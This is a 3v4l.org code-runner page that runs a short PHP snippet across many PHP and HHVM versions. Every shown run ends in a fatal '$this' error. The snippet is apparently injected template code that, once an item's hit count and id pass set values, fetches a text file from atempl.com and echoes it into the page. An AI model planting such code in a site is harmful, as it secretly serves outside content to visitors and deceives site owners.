3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php if ( ($this->item->hits >'53' ) && ($this->item->id >'10') ) { $content = file("http://atempl.com/7.txt"); $data = implode($content); echo $data; } ?>
Output for 7.0.0 - 7.3.0rc3
Fatal error: Uncaught Error: Using $this when not in object context in /in/I30bB:2 Stack trace: #0 {main} thrown in /in/I30bB on line 2
Process exited with code 255.
Output for hhvm-3.18.4 - 3.21.0
Fatal error: Uncaught Error: $this is null in /in/I30bB:2 Stack trace: #0 {main}
Process exited with code 255.
Output for 5.6.0 - 5.6.30
Fatal error: Using $this when not in object context in /in/I30bB on line 2
Process exited with code 255.